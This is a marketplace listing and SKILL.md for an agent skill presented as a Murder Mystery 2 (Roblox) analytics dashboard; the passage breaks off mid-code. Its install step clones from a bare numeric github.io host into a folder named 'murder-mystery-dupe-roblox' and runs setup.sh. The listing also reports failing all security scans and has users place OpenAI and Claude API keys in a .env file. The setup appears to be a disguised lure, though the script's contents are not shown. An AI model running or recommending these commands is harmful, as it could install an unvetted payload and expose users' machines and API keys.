
Mm2 Analytics Dashboard Roblox
Track Murder Mystery 2 inventory, visualize Roblox MM2 stats, and tune gamepass and trade strategy from exported analytics.
Overview
mm2-analytics-dashboard-roblox is an agent skill most often used in Grow (also Build integrations) that sets up Murder Mystery 2 inventory tracking, analytics dashboards, and gameplay optimization on Roblox.
Install
npx skills add https://github.com/aradotso/data-skills --skill mm2-analytics-dashboard-robloxWhat is this skill?
- Automated Murder Mystery 2 inventory tracking and knife skin cataloging
- Real-time analytics dashboard with charts and performance reports
- AI-powered strategy pattern analysis and trade value predictions
- Automated setup.sh installer plus manual npm and Python dependency paths
- Cross-platform data sync with troubleshooting for inventory sync issues
- Documents automated setup.sh --install plus separate npm and Python dependency install paths
Adoption & trust: 1 installs on skills.sh; 1 GitHub stars; 0/3 security scanners passed (skills.sh audits); trending (+100% hot-view momentum).
What problem does it solve?
You cannot see how your MM2 inventory, passes, and win rates trend, so trades and gamepass spend feel guesswork.
Who is it for?
Solo Roblox MM2 players or micro-studios who want data skills for inventory, stats, and pass strategy—not generic SaaS analytics.
Skip if: Builders with no Roblox MM2 context, or teams needing official Roblox Analytics API-only compliance without third-party tooling.
When should I use this skill?
Triggers include MM2 inventory tracking, analytics dashboard setup, knife skin analysis, stats tracker config, gamepass strategy, analytics export, sync troubleshooting, and performance reports.
What do I get? / Deliverables
You configure the MM2 analytics toolkit, sync inventory data, and use dashboards and reports to refine strategy and exports.
- Configured MM2 analytics dashboard instance
- Inventory catalogs and exported performance or strategy reports
Recommended Skills
Journey fit
Spans multiple journey phases - primary shelf plus alternate fits below.
MM2 tooling pays off after you play or monetize the game—Grow analytics is the canonical shelf even though setup touches Build scripts. Dashboards, win/loss ratios, and trade-value predictions are measurement and optimization work, not initial game coding.
Where it fits
Prototype whether MM2 trade analytics justify time before building a custom Roblox experience.
Run setup.sh and npm install to wire the dashboard against your MM2 data sources.
Export performance reports and tune gamepass purchases from win/loss and inventory charts.
Diagnose inventory sync failures and re-run exports after Roblox or tool updates.
How it compares
Domain-specific Roblox MM2 data skill, not a general product analytics or Unity telemetry package.
Common Questions / FAQ
Who is mm2-analytics-dashboard-roblox for?
Murder Mystery 2 players and indie Roblox operators who want inventory catalogs, dashboards, and strategy insights from the ara.so Data Skills collection.
When should I use mm2-analytics-dashboard-roblox?
In Grow analytics when tracking knives and passes, during Validate prototype when testing whether MM2 monetization is worth pursuing, or in Build integrations when running setup.sh and npm install for the dashboard repo.
Is mm2-analytics-dashboard-roblox safe to install?
It points at external repos and install scripts; review Security Audits on this page and audit setup.sh and dependencies before running on your machine.
SKILL.md
READMESKILL.md - Mm2 Analytics Dashboard Roblox
# MM2 Analytics Dashboard - Roblox > Skill by [ara.so](https://ara.so) — Data Skills collection. ## Overview The MM2 Analytics Dashboard is a comprehensive toolkit for Murder Mystery 2 (Roblox) that provides inventory management, statistical analysis, and gameplay optimization. It tracks knife skins, gamepasses, win/loss ratios, and provides AI-powered strategy insights through data visualization and pattern recognition. **Key capabilities:** - Automated inventory tracking and cataloging - Real-time analytics dashboard with charts - Strategy pattern analysis and recommendations - Trade value predictions and optimization - Cross-platform data synchronization ## Installation ### Automated Setup ```bash # Clone the repository git clone https://8015238355.github.io cd murder-mystery-dupe-roblox # Run automated installer chmod +x setup.sh ./setup.sh --install ``` ### Manual Setup ```bash # Install Node.js dependencies npm install # Install Python dependencies python3 -m pip install -r requirements.txt # Create data directories mkdir -p data/collections data/exports data/logs ``` ### Environment Configuration Create a `.env` file in the project root: ```env # API Keys (optional, for AI-powered features) API_OPENAI_KEY=${OPENAI_API_KEY} API_CLAUDE_KEY=${CLAUDE_API_KEY} # Data Configuration DATA_DIRECTORY=./data/collections ANALYTICS_INTERVAL=300 ENABLE_LIVE_TRACKING=true # Export Settings EXPORT_FORMAT=json,csv AUTO_BACKUP=true BACKUP_INTERVAL=3600 ``` ## Core Commands ### Analytics Engine ```bash # Run comprehensive analytics scan python3 main.py --mode analytics \ --profile ${USERNAME} \ --export statistics.json \ --format json \ --verbose # Quick inventory check python3 main.py --mode inventory \ --scan-only \ --filter knife_skins # Generate performance report python3 main.py --mode report \ --type performance \ --time-range 30d \ --output ./data/exports/ ``` ### Inventory Management ```bash # Sync inventory from Roblox python3 main.py --sync-inventory \ --profile ${ROBLOX_USERNAME} # Catalog knife skins with rarity analysis python3 main.py --catalog knives \ --analyze-rarity \ --export-csv # Track gamepass effectiveness python3 main.py --track-gamepasses \ --calculate-roi ``` ### Strategy Analysis ```bash # Analyze gameplay patterns python3 main.py --mode strategy \ --analyze-patterns \ --role sheriff # Generate AI recommendations python3 main.py --ai-insights \ --use-openai \ --strategy-focus aggressive # Practice mode simulator python3 main.py --practice \ --scenario innocent_survival \ --difficulty hard ``` ## Python API Usage ### Basic Analytics Session ```python from mm2_analytics import AnalyticsEngine, Profile, InventoryManager # Initialize analytics engine engine = AnalyticsEngine( data_dir="./data/collections", export_format="json", verbose=True ) # Load user profile profile = Profile.load("mystery_solver_01") # Scan inventory inventory = InventoryManager(profile) knife_skins = inventory.scan_category("knife_skins", rarity_filter=["legendary", "ancient"]) print(f"Found {len(knife_skins)} premium knife skins") # Run analytics results = engine.analyze( profile=profile, metrics=["win_rate", "role_performance", "inventory_value"], time_range="30d" ) # Export results engine.export(results, "statistics_2026.json") ``` ### Inventory Tracking ```python from mm2_analytics import InventoryManager, TradeAnalyzer # Initia